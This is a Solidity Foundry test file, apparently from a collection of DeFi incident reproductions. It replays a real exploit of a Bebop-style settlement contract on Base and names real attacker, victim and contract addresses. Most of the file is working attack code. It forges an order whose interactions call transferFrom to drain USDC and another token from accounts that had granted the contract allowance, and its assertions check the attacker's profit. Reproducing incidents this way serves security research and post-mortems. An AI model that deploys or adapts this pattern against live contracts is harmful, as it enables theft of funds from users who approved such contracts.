src/test/2025-08/BaseBebopSettlement_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 3,875.46 USD
8// Attacker : 0x473993E254be8D46eD85b149335b2Be02b2891f1
9// Attack Contract : 0xbf8e523170875107fD3c36C6Cf3e350DC52a5021
10// Vulnerable Contract : 0xbeb0b0623f66bE8cE162EbDfA2ec543A522F4ea6
11// Attack Tx : https://basescan.org/tx/0x9099383a0731fcd40550f6443c935f579085251d34b7c7285603f68b7c12f678
12//
13// @Info
14// Vulnerable Contract Code : https://basescan.org/address/0xbeb0b0623f66bE8cE162EbDfA2ec543A522F4ea6#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1660
18//
19// Attack summary: The attacker deployed initcode that created a helper contract and called a Bebop-style settlement
20// function. The settlement call carried two explicit transferFrom interactions, moving USDC from one approved account
21// and a wrapped asset from the reported victim to the attacker.
22// Root cause: the unverified settlement contract accepted caller-controlled interaction calldata and executed token
23// transferFrom calls against accounts that had granted it allowance.
24 
25address constant ATTACKER = 0x473993E254be8D46eD85b149335b2Be02b2891f1;
26address constant ATTACK_CONTRACT = 0xbf8e523170875107fD3c36C6Cf3e350DC52a5021;
27address constant VICTIM = 0x9eaC82DF212c6c85a125F6c7db3285f4Db93dD7b;
28address constant SETTLEMENT = 0xbeb0b0623f66bE8cE162EbDfA2ec543A522F4ea6;
29address constant USDC_HOLDER = 0x78300ee5b60f6Fe87D64c02F393dEe502560EE87;
30address constant USDC_TOKEN = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
31address constant VICTIM_TOKEN = 0x2615a94df961278DcbC41Fb0a54fEc5f10a693aE;
32 
33uint256 constant USDC_AMOUNT = 1_000_000_000;
34uint256 constant VICTIM_TOKEN_AMOUNT = 901_467_122_762_682_970_176;
35 
36interface IBebopSettlement {
37    struct Order {
38        address maker;
39        address receiver;
40        uint256 expiry;
41        uint256 nonce;
42        uint256 flags;
43        address executor;
44        uint256 partnerId;
45        address[] makerTokens;
46        address[] takerTokens;
47        uint256[] makerAmounts;
48        uint256[] takerAmounts;
49        bool usePermit2;
50    }
51 
52    struct Interaction {
53        bool result;
54        address target;
55        uint256 value;
56        bytes data;
57    }
58 
59    function settle(
60        Order calldata order,
61        bytes calldata signature,
62        Interaction[] calldata interactions,
63        bytes calldata data,
64        address receiver
65    ) external payable;
66}
67 
68contract ContractTest is BaseTestWithBalanceLog {
69    BaseBebopSettlementAttack private exploit;
70 
71    function setUp() public {
72        uint256 forkBlock = 34_100_255;
73        vm.createSelectFork("base", forkBlock);
74        vm.label(ATTACKER, "Attacker");
75        vm.label(ATTACK_CONTRACT, "Attack Contract");
76        vm.label(VICTIM, "Victim");
77        vm.label(SETTLEMENT, "Settlement");
78        vm.label(USDC_HOLDER, "USDC Holder");
79        vm.label(USDC_TOKEN, "USDC");
80        vm.label(VICTIM_TOKEN, "Victim Token");
81 
82        exploit = new BaseBebopSettlementAttack();
83        multiAssetLog = true;
84        attacker = address(exploit);
85        _addFundingToken(USDC_TOKEN);
86        _addFundingToken(VICTIM_TOKEN);
87    }
88 
89    function testExploit() public balanceLog {
90        uint256 usdcHolderBefore = IERC20(USDC_TOKEN).balanceOf(USDC_HOLDER);
91        uint256 victimTokenBefore = IERC20(VICTIM_TOKEN).balanceOf(VICTIM);
92 
93        exploit.run();
94 
95        assertEq(IERC20(USDC_TOKEN).balanceOf(address(exploit)), USDC_AMOUNT, "USDC profit");
96        assertEq(IERC20(VICTIM_TOKEN).balanceOf(address(exploit)), VICTIM_TOKEN_AMOUNT, "victim-token profit");
97        assertEq(usdcHolderBefore - IERC20(USDC_TOKEN).balanceOf(USDC_HOLDER), USDC_AMOUNT, "USDC holder loss");
98        assertEq(victimTokenBefore - IERC20(VICTIM_TOKEN).balanceOf(VICTIM), VICTIM_TOKEN_AMOUNT, "victim token loss");
99    }
100}
101 
102contract BaseBebopSettlementAttack {
103    function run() external {
104        IBebopSettlement.Order memory order;
105        order.maker = address(this);
106        order.receiver = address(this);
107        order.expiry = block.timestamp + 60;
108        order.flags = 1;
109        order.executor = address(this);
110 
111        IBebopSettlement.Interaction[] memory interactions = new IBebopSettlement.Interaction[](2);
112        interactions[0] = IBebopSettlement.Interaction({
113            result: false,
114            target: USDC_TOKEN,
115            value: 0,
116            data: abi.encodeWithSelector(IERC20.transferFrom.selector, USDC_HOLDER, address(this), USDC_AMOUNT)
117        });
118        interactions[1] = IBebopSettlement.Interaction({
119            result: false,
120            target: VICTIM_TOKEN,
121            value: 0,
122            data: abi.encodeWithSelector(IERC20.transferFrom.selector, VICTIM, address(this), VICTIM_TOKEN_AMOUNT)
123        });
124 
125        IBebopSettlement(SETTLEMENT).settle(order, "", interactions, "", address(this));
126    }
127}